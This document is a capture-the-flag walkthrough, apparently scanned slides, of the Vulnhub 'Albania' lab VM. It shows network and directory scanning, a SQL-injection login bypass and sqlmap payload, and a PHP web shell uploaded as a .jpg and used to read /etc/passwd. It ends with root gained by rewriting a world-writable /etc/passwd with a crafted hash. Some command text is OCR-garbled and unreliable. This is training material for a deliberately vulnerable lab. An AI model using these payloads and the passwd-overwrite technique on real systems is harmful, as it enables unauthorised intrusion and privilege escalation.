

Albania Vulnhub's vulnerable lab challenge

Information Security Inc.



Contents

- About Vulnhub
- Target VM
- Test Setup
- Walkthrough
- References



About Vulnhub

 To provide materials that allows anyone to gain practical 'hands-on' experience in digital security, computer software & network administration





Target VM

- Target VM: Albania
- Download the ova file
 <u>https://mega.nz/#!Gk502Tob!Octl2yiiryjBXNLyzK8QsCtVm6gqw72rKQvEebGvMmk</u>
- Import the ova file into your favorite hypervisor;

💕 HackDay Albania.ova

- Attach a DHCP enabled interface to the machine and run it
- Objective
 Find the flags





© Testing environment

Linux Kali (attacker) >>> Firewall >>> D0Not5top (target vm)



© From the attacker machine run the following command to find out Target VMs IP address:

root@hacking:~#	netdiscover -i eth0	-r 192.	168.56.	Θ
Currently scann	ing: 192.168.56.0/2	4	Screen	View: Unique Hosts
3 Captured ARP	Req/Rep packets, fr	om 3 hos	ts. T	otal size: 180
IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.56.1	0a:00:27:00:00:02	1	60	Unknown vendor
192.168.56.100	08:00:27:08:c2:c2	1	60	PCS Systemtechnik GmbH
192.168.56.102	08:00:27:98:0d:5f	1	60	PCS Systemtechnik GmbH

© Scan the target machine IP (192.168.56.102)

root@hacking:~# ./Scan.py
TCP port 22 is open
TCP port 8008 is open



© Explore Port 8008 in a browser



◎ The message in the box translates to "if I am, I know where to go"



◎ Page-source has a comment at the bottom which says "Ok ok, but not here" (translated using Google translate)

OK ok,</th <th>por</th> <th>jo</th> <th>ketu</th> <th>:)></th>	por	jo	ketu	:)>



◎ Use dirb tool to scan the host on port 8008

root@hacking:~# dirb http://192.168.56.102:8008
DIRB v2.22 background-color: #f05b43;
By The Dark Raver color: white;
START TIME: Tue Sep 12 02:15:18 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
GENERATED WORDS: 4612
<pre> Scanning URL: http://192.168.56.102:8008/ + http://192.168.56.102:8008/index.html (CODE:200 SIZE:750) ==> DIRECTORY: http://192.168.56.102:8008/js/ + http://192.168.56.102:8008_robots.txt (CODE:200 SIZE:702)</pre>
+ http://192.168.56.102:8008/server-status (CODE:403 SIZE:304)

◎ robots.txt is available



◎ Explore robots.txt

-192.168.56.102:8008/robots.tx 📷 Most Visited 🔻 🚺 Offensive Security 🎽 Disallow: /rkfpuzrahngvat/ Disallow: /slggvasbiohwbu/ Disallow: /tmhrwbtcjpixcv/ Disallow: /voitvdvelrkzex/ Disallow: /wpkuzewfmslafv/ Disallow: /xglvafxgntmbgz/ Disallow: /vrmwbgvhouncha/ Disallow: /zsnxchzipvodib/ Disallow: /atoydiajqwpejc/ Disallow: /bupzejbkrxqfkd/ Disallow: /cvqafkclsyrgle/ Disallow: /unisxcudkgjydw/ Disallow: /dwrbgldmtzshmf/ Disallow: /exschmenuating/ Disallow: /fytdinfovbujoh/ Disallow: /gzuejogpwcvkpi/ Disallow: /havfkphqxdwlqj/ Disallow: /ibwglgirvexmrk/ Disallow: /jcxhmrjszfynsl/ Disallow: /kdvinsktagzotm/ Disallow: /lezjotlubhapun/ Disallow: /mfakpumvcibgvo/ Disallow: /ngblgvnwdicrwp/ Disallow: /ohcmrwoxekdsxg/ Disallow: /pidnsxpyfletyr/ Disallow: /gjeotygzgmfuzs/



All but one directory give us the same result



 \odot The message says "is this the right directory or I'm spending time in vain



◎ The directory that proves to be worth visiting is <u>http://192.168.56.102:8008/unisxcudkqjydw/</u>



IS there any /vulnbank/ in there ???

Sound a new directory "vulnbank"



© Explore the new found directory "vulnbank"





◎ Click on the "client/" directory



◎ Found a login page of very secure bank



$\odot\,$ Try SQLi on the login form

-	form name="login" method="post" action=" <u>login.php</u> ">
	 cinput id="username" name="username" type="text"> >/br>
	 d="password" name="password" type="password">



Trying manual SQLi on the login form (slqmap did not work)
 Trying a single 'as the username, got an error page





◎ The username parameter is vulnerable to SQL injection as shown by sqlmap

POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 1127 HTTP(s) requests:	
<pre>clsPastword.c/b> Parameter: username (POST) bissword* nume="password* type="password*> Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Pavload: username=ULLf' RLIKE (SELECT (CASE WHEN (1162=1162) THEN 0x556c4c66 ELSE 0x28 END)) LAHm</pre>	i&pas
sword= <th></th>	
do you want to exploit this SQL injection? [Y/n]	



O After trying a lot of manual SQLi (including a list from <u>https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/</u>)

found a working query /* '%9# */





◎ The application allows the user to upload a file as part of a trouble ticketing system

ontact S	upport
	Problem
	Description
Browse	No file selected.



◎ Upload a php backdoor in a file with the extension ".jpg"





◎ Testing the PHP backdoor



UTWATWAT - A	4	raviso	raviso	4.01	ULL	20	2010	
drwxrwxr-x	3	taviso	taviso	4.0K	0ct	20	2016	
-rwxr-xr-x	1	taviso	taviso	87	0ct	19	2016	client.php
-rwxr-xr-x	1	taviso	taviso	4.1K	0ct	20	2016	config.php
drwxr-xr-x	2	taviso	taviso	4.0K	0ct	19	2016	images
-rwxr-xr-x	1	taviso	taviso	403	May	23	2016	index.php
-rwxr-xr-x	1	taviso	taviso	348	0ct	20	2016	login.php
-rwxr-xr-x	1	taviso	taviso	81	May	22	2016	logout.php
-rwxr-xr-x	1	taviso	taviso	1.2K	0ct	20	2016	ticket.php
drwxrwxrwx	2	taviso	taviso	4.0K	Sep	12	11:29	upload
-rwxr-xr-x	1	taviso	taviso	532	0ct	19	2016	view file.php
-rwxr-xr-x	1	taviso	taviso	1.1K	0ct	19	2016	view_ticket.php
-rwxr-xr-x	1	taviso	taviso	1.1K	0ct	19	2016	view_ticket.php

◎ It works



◎ Passwd file has write permissions

(•) ()	hbank/client v	iew_file.php?filename	=PhpShell.jpg&cm	d=stat /	/etc/passwd
🛅 Most	Visited 🔻 🛐 C	ffensive Security 🔪	Kali Linux 🥆 Kali D	ocs 🔪	Kali Tools 🚦
File:	'/etc/passwd'				
Size:	1623	Blocks: 8	IO Block: 4096	regul	ar file
Device:	801h/2049d	Inode: 277634	Links: 1		
Access:	(0646/-rw-r	rw-) Uid: (0/	root) Gid: (0/	root)
Access:	2017-09-12 07	:42:24.644000000 +02	00	100	200000
Modify:	2016-10-22 17	:21:42.164698539 +02	200		
Change:	2016-10-22 17	:21:42.164698539 +02	200		
Birth:	- TA TA ATA ATA ATA -				
Birth:	-				



Listing all users available

🗲) 🕕 Ink/client view_file.php?filename=PhpShell.jpg&cmd=cat /etc/passwd 🛛 📖 📗

🛅 Most Visited 🔻 👖 Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🛄 Exploit-

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin qnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy...:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false messagebus:x:108:112::/var/run/dbus:/bin/false uuidd:x:109:113::/run/uuidd:/bin/false dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
ssbd:x:111:65534:/var/run/ssbd:/usr/sbin/pologin taviso:x:1000:1000:Taviso...:/home/taviso:/bin/bash



C

◎ Try to change "taviso" account to a known password

◎ First, simulating locally

ot@hacking:~# adduser the Adding user the Adding new group `the' (1000) ... Adding new user `the' (1000) with group `the' ... The home directory `/home/the' already exists. Not copying from `/etc/skel'. Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully Changing the user information for the var/lib/gnats:/usr/sbin/nologin Enter the new value, or press ENTER for the default Full Name []: Room Number []: Resolver / run/system/resolve:/bin/false Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] yun/false acking:~# n**a:**~# ng:~# cat /etc/shadow | grep thw king: # cat /etc/shadow | grep the the:\$6\$6mP8P6c2\$4vxMtc3ffqLlsT9IZ8fT4Wqb1mBDjBFL0PeqvtmRcJYmuYHXnN32NbnjqwacC8b1mJao2voqWMvr8xviMbj X4/:17421:0:99999:7:::



◎ Use the previous hash as support to create the new "taviso" entry

root@hacking:~# taviso:\$6\$6mP8P6c2\$4vxMtc3ffgLtsT9IZ8fT4Wqb1mBDjBFL0PeqytmRcJYmuYHXnN32NbnjqwacC8b1mJao2vogWMvr xyiMbjX4/:1000:1000:Taviso;;;//home/taviso:/bin/bash

Remove taviso from /etc/passwd

Image: Content of the second secon

w_file.php?filename=PhpShell.jpg&cmd=cp /tmp/passwd.bk /etc/passwd



Add the new "taviso" created in previous step (echo "NewTaviso" >> /etc/passwd)

Most Visited * MOffensive Security Kali Linux Kali Docs Kali Tools Exploit-DB Aircrack-ng root:x:0:0:root:/bin/bash daemon:x:1:1:daemon:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync	swd 🖾 🕫 🔍 Search 🔄 🏠 🖨 🗧
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync	Tools 🔝 Exploit-DB 📡 Aircrack-ng
<pre>games:xi5:bd:games:/usr/games:/usr/sbin/nologin man:xi6:lz:man:/war/cache/man:/usr/sbin/nologin mail:x:8:lz:man:/war/spool/lpd:/usr/sbin/nologin mail:x:8:lz:man:/war/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/news:/usr/sbin/nologin news:x:33:33:www-data:/var/www:/usr/sbin/nologin list:x:33:33:www-data:/var/www:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin nat:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd/netif:/bin/false systemd-network:x:101:103:systemd Network Management,,:/run/systemd/netif:/bin/false systemd-timesync:x:108:108:systemd Sterxy,:/run/systemd/netif:/bin/false systemd-timesinc:x:108:103:systemd Network Management,,:/run/systemd/netif:/bin/false systemd-solex:x:108:103:systemd Network Management,,:/run/systemd/netif:/bin/false systemd-solex:x:108:103:systemd Network Management,,:/run/systemd/netif:/bin/false systemd-solex:x:108:104:systemd Network, Management,.:/run/systemd/netif:/bin/false systemd-solex:x:108:10534::/var/lib/lxd/:bin/false ujdt:x:106:65534::/var/lib/lxd/:/bin/false ujdt:x:106:65534::/var/lib/lxd/:/bin/false imssagebus:x:108:112::/var/run/dus:/bin/false imssagebus:x:108:112::/var/run/dus:/bin/false imssagebus:x:108:112::/var/run/dus:/bin/false uudd:x:109:112::/var/run/dus:/bin/false systemd-solex:108:112::/var/run/dus:/bin/false systemd-solex:108:112::/var/un/dus:/bin/false imssagebus:x:108:112::/var/run/dus:/bin/false systemd-solex:108:112::/var/un/dus:/bin/false imssagebus:x:108:112::/var/un/dus:/bin/false systemd-solex:108:12::/var/un/dus:/bin/false systemd-solex:108:534::/var/lib/lxd/:/bin/false</pre>	sbin/nologin md:/bin/false netif:/bin/false in/false lse



◎ Try to connect using ssh

O Success!



◎ Try see if taviso is on sudoers file



◎ BamBam! Got root



◎ Try to see what root has on his home directory



◎ Captured the flag. Message says "Congratulations, Now begins the report!"



References

• Vulnhub website https://www.vulnhub.com

 Vulnerable VM download <u>https://mega.nz/#!Gk502Tob!Octl2yiiryjBXNLyzK8QsCtVm6gqw72rKQvEebGvMmk</u>

 Sqlmap http://sqlmap.org/

